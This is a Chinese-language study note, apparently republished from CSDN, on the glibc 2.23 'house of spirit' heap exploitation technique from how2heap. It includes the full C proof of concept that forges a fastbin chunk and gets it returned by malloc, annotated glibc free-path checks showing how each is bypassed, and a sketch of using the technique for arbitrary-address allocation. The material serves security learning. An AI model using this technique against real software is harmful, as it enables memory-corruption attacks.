how2heap-2.23-12-house_of_spirit

2024-01-08 19:34:43

house_of_spirit 注意事项

house_of_spirit:将一个地址伪造成符合fast bin大小的chunk,将其释放进fastbin中,同时伪造其中的fd指针,达到任意地址分配

伪造的chunk的大小,为什么是fast bin大小范围内的chunk?

  • 如果伪造的地址是在堆中,伪造成任何大小都没有关系;
  • 但是对于大于get_max_fast的chunk,在_int_free函数中,会chunk的的地址做检查,绕不过去
    nextchunk = chunk_at_offset(p, size);	// 【1】如果伪造的chunk不在堆中,那nextchunk也不做堆中

    /* Lightweight tests: check whether the block is already the
       top block.  */
    if (__glibc_unlikely(p == av->top))
    {
      errstr = "double free or corruption (top)";
      goto errout;
    }
    /* Or whether the next chunk is beyond the boundaries of the arena.  */
    // 【2】这里的if检查就绕不过去
    if (__builtin_expect(contiguous(av) && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0))
    {
      errstr = "double free or corruption (out)";
      goto errout;
    }

在这里插入图片描述


#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

	fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
	malloc(1);		// 【1】

	fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
	unsigned long long *a;
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));	// 【2】

	fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

	fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size	// 【3】

	fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
	fake_chunks[9] = 0x1234; // nextsize	// 【4】

	fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
	a = &fake_chunks[2];	// 【5】

	fprintf(stderr, "Freeing the overwritten pointer.\n");
	free(a);				// 【6】

	fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

【1】目的
因为是要释放伪造的chunk,在伪造chunk释放后需要挂到bins中,需要有堆管理器相关的结构体

【2】目的
需要绕过对chunk地址的对其检查

  if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size)))
  {
    errstr = "free(): invalid size";
    goto errout;
  }

【3】目的
__libc_free会根据chunk的IS_MMAPPED位,判断是通过munmap_chunk进行释放,还是通过_int_free进行释放

  if (chunk_is_mmapped(p)) /* release mmapped memory. */
  {
    /* see if the dynamic brk/mmap threshold needs adjusting */
    if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
    {
      mp_.mmap_threshold = chunksize(p);
      mp_.trim_threshold = 2 * mp_.mmap_threshold;
      LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
                 mp_.mmap_threshold, mp_.trim_threshold);
    }
    munmap_chunk(p);
    return;
  }

  ar_ptr = arena_for_chunk(p);
  _int_free(ar_ptr, p, 0);

当然,下面这样写都可以

fake_chunks[1] = 0x40;
fake_chunks[1] = 0x41;

【4】目的
为了绕过伪造的chunk,虚拟地址相邻下面的chunk大小检查

if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0) 
	|| __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0))

house_of_spirit的一般利用

在这里插入图片描述

chunk a溢出写chunk b的size位,释放chunk b,再申请回chunk b,达到读写chunk c内容的目的


在这里插入图片描述
在栈中伪造chunk,释放chunk后,伪造chunk的fd,再经过两次申请达到任意地址分配

文章来源:https://blog.csdn.net/u014679440/article/details/135447392
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。